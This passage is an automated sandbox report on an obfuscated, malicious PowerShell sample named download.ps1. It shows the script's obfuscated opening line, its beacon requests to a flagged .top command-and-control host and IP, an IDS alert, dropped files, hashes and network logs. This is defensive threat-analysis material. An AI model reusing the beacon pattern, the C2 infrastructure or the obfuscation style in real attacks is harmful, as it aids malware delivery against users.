http://cmacnnkfbhlcncm.top	powershell.exe, 00000000.00000002.1393644816.0000023581769000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1393644816.00000235814F3000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://mail.google.com/mail/?tab=wm	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/logos/doodles/2024/year-in-search-2024-global-6753651837110649-2xa.gif	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/?tab=w1	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://0.google.	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lh3.googleusercontent.com/ogw/default-user=s96X	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://0.google.com/	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lh3.googleusercontent.com/ogw/default-user=s24	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.google.com/history/optout?hl=en	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://books.google.com/?hl=en&tab=wp	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/logos/doodles/2024/year	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/?hl=en&tab=wT	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000000.00000002.1393644816.0000023580228000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/intl/en/about/products?tab=whX	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/logos/doodles/2024/year-in-search-2024-global-6753651837110649-2xa.gifX	powershell.exe, 00000000.00000002.1393644816.00000235817E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://calendar.google.com/calendar?tab=wc	powershell.exe, 00000000.00000002.1393644816.0000023581EC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1393644816.0000023580001000.00000004.00000800.00020000.00000000.sdmp	false	high
https://lh3.googleusercontent.com/ogw/default-user=s24X	powershell.exe, 00000000.00000002.1393644816.0000023581999000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.61.136.138	cmacnnkfbhlcncm.top	United States		40676	AS40676US	false
142.250.181.132	www.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579001
Start date and time:	2024-12-20 17:33:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	download.ps1
Detection:	MAL
Classification:	mal68.evad.winPS1@2/7@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 95% Number of executed functions: 20 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 644 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: download.ps1

Simulations

Behavior and APIs

Time	Type	Description
11:34:55	API Interceptor	45x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.61.136.138	download.ps1	Get hash	malicious	Unknown	Browse	cmacnnkfbhlcncm.top/5jmw10tyqfhtr.php?id=user-PC&key=113750624201&s=527
	download.ps1	Get hash	malicious	Unknown	Browse	cmacnnkfbhlcncm.top/o019zcxwsfhtr.php?id=user-PC&key=94248264203&s=527
	download.ps1	Get hash	malicious	Unknown	Browse	cmacnnkfbhlcncm.top/lbs39er51ghtr.php?id=computer&key=31400257058&s=527
	download.ps1	Get hash	malicious	Unknown	Browse	cmacnnkfbhlcncm.top/xqceolfz5dhtr.php?id=user-PC&key=58037436404&s=527
	download.ps1	Get hash	malicious	Unknown	Browse	cmacnnkfbhlcncm.top/cmx2nrhlu7htr.php?id=computer&key=24412706494&s=527
	download.ps1	Get hash	malicious	Unknown	Browse	cmacnnkfbhlcncm.top/57fd316pguhtr.php?id=computer&key=75439930857&s=527
	download.ps1	Get hash	malicious	Unknown	Browse	cmacnnkfbhlcncm.top/rz932vog4whtr.php?id=user-PC&key=63562548914&s=527
	download.ps1	Get hash	malicious	Unknown	Browse	cmacnnkfbhlcncm.top/h5raxn90w1htr.php?id=user-PC&key=130484823816&s=527

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cmacnnkfbhlcncm.top	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS40676US	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	107.160.112.122
	QCTYoyX422.dll	Get hash	malicious	Unknown	Browse	107.160.131.254
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	23.179.110.68
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138
	download.ps1	Get hash	malicious	Unknown	Browse	45.61.136.138

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVsHh:NllUGH
MD5:	E396A80CD8E90276EF876FC94B5CFF7A
SHA1:	6A7ED0E4173A27630A7FC30F3C325EF9D031D495
SHA-256:	8B604E9275EE1B6552C36CB85EAE692225A510A26942C4AC17C68046DE9F1516
SHA-512:	1CD3AD1E23744327701BF26DBAECCCA8FF426D40FACDA77F067C3A56111E9E3A48DA3EF4B990476253C73F0B08E8C4F49375422A80216BD7DD2C57995AF4AFE4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e...................................2............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5cnj4uiq.xtp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gr0la51e.t4p.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ot0i0if1.vux.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2chukqj.1ra.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	3.7419014598304
Encrypted:	false
SSDEEP:	48:uO2+i6zuC9U20j8ukvhkvklCyw4a+jdl6iSogZoQJOJa6+jdl0iSogZoQJOJO1:S+TzuCSrpkvhkvCCt7+jduHs+jd0HH
MD5:	1059F387F46686D0977809997B5A8E8A
SHA1:	7C0BB71782DE878B491A9A76508667E9B102339C
SHA-256:	D80FFE58FD3E0EA7D639F880BBB419EC06D27154F8B682CF56714C8DA8E35BA2
SHA-512:	51BD0078661D4845098D7F04FD072993CB3EEB6588CD1FA7FE342CB186A221A505E168EB296C68A9477F4959A362C6C6CD4E9915C83BF9233CA55D544C67A9CA
Malicious:	false
Preview:	...................................FL..................F.".. ....._...a.S..R..z.:{.............................:..DG..Yr?.D..U..k0.&...&......Qg._.......R....a..R......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=.YX...........................3*N.A.p.p.D.a.t.a...B.V.1......YV...Roaming.@......EW.=.YV............................!=.R.o.a.m.i.n.g.....\.1.....EW\|>..MICROS~1..D......EW.=.YS...............................M.i.c.r.o.s.o.f.t.....V.1.....EW.>..Windows.@......EW.=.YS............................H..W.i.n.d.o.w.s.......1.....EW.=..STARTM~1..n......EW.=.YS.....................D.....ZN..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW{>..Programs..j......EW.=.YS.....................@.....;.".P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW.=EW.=..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW.=.YZ.....9...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KPKXWNIPJLLJS798ZWAM.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6225
Entropy (8bit):	3.7419014598304
Encrypted:	false
SSDEEP:	48:uO2+i6zuC9U20j8ukvhkvklCyw4a+jdl6iSogZoQJOJa6+jdl0iSogZoQJOJO1:S+TzuCSrpkvhkvCCt7+jduHs+jd0HH
MD5:	1059F387F46686D0977809997B5A8E8A
SHA1:	7C0BB71782DE878B491A9A76508667E9B102339C
SHA-256:	D80FFE58FD3E0EA7D639F880BBB419EC06D27154F8B682CF56714C8DA8E35BA2
SHA-512:	51BD0078661D4845098D7F04FD072993CB3EEB6588CD1FA7FE342CB186A221A505E168EB296C68A9477F4959A362C6C6CD4E9915C83BF9233CA55D544C67A9CA
Malicious:	false
Preview:	...................................FL..................F.".. ....._...a.S..R..z.:{.............................:..DG..Yr?.D..U..k0.&...&......Qg._.......R....a..R......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=.YX...........................3*N.A.p.p.D.a.t.a...B.V.1......YV...Roaming.@......EW.=.YV............................!=.R.o.a.m.i.n.g.....\.1.....EW\|>..MICROS~1..D......EW.=.YS...............................M.i.c.r.o.s.o.f.t.....V.1.....EW.>..Windows.@......EW.=.YS............................H..W.i.n.d.o.w.s.......1.....EW.=..STARTM~1..n......EW.=.YS.....................D.....ZN..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW{>..Programs..j......EW.=.YS.....................@.....;.".P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW.=EW.=..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW.=.YZ.....9...........

Static File Info

General

File type:	ASCII text, with very long lines (11087), with CRLF line terminators
Entropy (8bit):	6.0047648383145775
TrID:
File name:	download.ps1
File size:	20'059 bytes
MD5:	506d528176abebda1202676b0528e974
SHA1:	58036f821fad918c508ed11270e2df7474b3a2e3
SHA256:	bd7cd2b13af4f8065d7970d6a6c0163ce4e155c60ae7a67062e4e17c439b1f95
SHA512:	9266f19b578ef6180585ea531c91878e1fd3d40ca204b60951746edb3eed4c7b6e119ceab1811287216c9f023bfdd511f3109a964ccaf68caf8692dac51d50a2
SSDEEP:	384:Aij/eeL5dYClhTpoPzuOInAwy7rtefXgxl5vfMim7P:zmSdjzyzuOFvtefXgxlFEF
TLSH:	CF927E95FBC8F8C2C5CEA61EA4177C443B8270AED5F3ADC4B6C5C6C1A2813556AD4D82
File Content Preview:	$vnhmefubpw=$executioncontext;$isesenarateranerenor = ([char[]]@((-7434+7487),(-6272+6324),(8401-8344),(-4633+(10159-5476)),(-6874+(2253+4677)),(378378/7007),(333592/5957),(3330-(8577225/2619)),(67595/(2169-940)),(186-136),(-5822+(7180-1302)),(28992/(3793

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T17:34:58.369189+0100	2859391	ETPRO MALWARE TA582 Domain in DNS Lookup	1	192.168.2.7	52452	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:34:58.603890896 CET	49700	80	192.168.2.7	45.61.136.138
Dec 20, 2024 17:34:58.723922968 CET	80	49700	45.61.136.138	192.168.2.7
Dec 20, 2024 17:34:58.724117041 CET	49700	80	192.168.2.7	45.61.136.138
Dec 20, 2024 17:34:58.727257967 CET	49700	80	192.168.2.7	45.61.136.138
Dec 20, 2024 17:34:58.847430944 CET	80	49700	45.61.136.138	192.168.2.7
Dec 20, 2024 17:35:00.044008017 CET	80	49700	45.61.136.138	192.168.2.7
Dec 20, 2024 17:35:00.094046116 CET	49700	80	192.168.2.7	45.61.136.138
Dec 20, 2024 17:35:00.185856104 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:00.305354118 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:00.305521011 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:00.305747032 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:00.425581932 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.113485098 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.113584042 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.113621950 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.113656998 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.113723040 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.113758087 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.113765001 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.113794088 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.113828897 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.113830090 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.114182949 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.114217043 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.114233017 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.114264965 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.114305019 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.233639002 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.233736038 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.233855009 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.305389881 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.305591106 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.305681944 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.309583902 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.310748100 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.310822964 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.310993910 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.319253922 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.319360018 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.322287083 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.322791100 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.322901011 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.328608036 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.335803032 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.335908890 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.335958958 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.339937925 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.339994907 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.349483967 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.349978924 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.350081921 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.353640079 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.363280058 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.363328934 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.363363028 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.367403030 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.367458105 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.376882076 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.377058983 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.377115965 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.381103992 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.390666962 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.390728951 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.425386906 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.425951004 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.426011086 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.429583073 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.430097103 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.430151939 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.497140884 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.497278929 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.497390985 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.499660969 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.499877930 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.499921083 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.504631042 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.506493092 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.506541014 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.507524967 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.511467934 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.511524916 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.511806011 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.511939049 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.511971951 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.516799927 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.524108887 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.524183035 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.524198055 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.526516914 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.526559114 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.537810087 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.537928104 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.538007975 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.540293932 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.551433086 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.551553011 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:02.551887989 CET	80	49701	142.250.181.132	192.168.2.7
Dec 20, 2024 17:35:02.593997002 CET	49701	80	192.168.2.7	142.250.181.132
Dec 20, 2024 17:35:03.134183884 CET	49700	80	192.168.2.7	45.61.136.138
Dec 20, 2024 17:35:03.134418964 CET	49701	80	192.168.2.7	142.250.181.132

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:34:58.369189024 CET	52452	53	192.168.2.7	1.1.1.1
Dec 20, 2024 17:34:58.583211899 CET	53	52452	1.1.1.1	192.168.2.7
Dec 20, 2024 17:35:00.045572042 CET	49792	53	192.168.2.7	1.1.1.1
Dec 20, 2024 17:35:00.182825089 CET	53	49792	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 17:34:58.369189024 CET	192.168.2.7	1.1.1.1	0x3184	Standard query (0)	cmacnnkfbhlcncm.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:35:00.045572042 CET	192.168.2.7	1.1.1.1	0x6b98	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 17:34:58.583211899 CET	1.1.1.1	192.168.2.7	0x3184	No error (0)	cmacnnkfbhlcncm.top		45.61.136.138	A (IP address)	IN (0x0001)	false
Dec 20, 2024 17:35:00.182825089 CET	1.1.1.1	192.168.2.7	0x6b98	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cmacnnkfbhlcncm.top

www.google.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	45.61.136.138	80	644	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:34:58.727257967 CET	220	OUT	GET /4sqjhclnathtr.php?id=user-PC&key=146061803000&s=527 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: cmacnnkfbhlcncm.top Connection: Keep-Alive
Dec 20, 2024 17:35:00.044008017 CET	166	IN	HTTP/1.1 302 Found Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 16:34:59 GMT Content-Length: 0 Connection: keep-alive Location: http://www.google.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	142.250.181.132	80	644	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:35:00.305747032 CET	159	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.google.com Connection: Keep-Alive
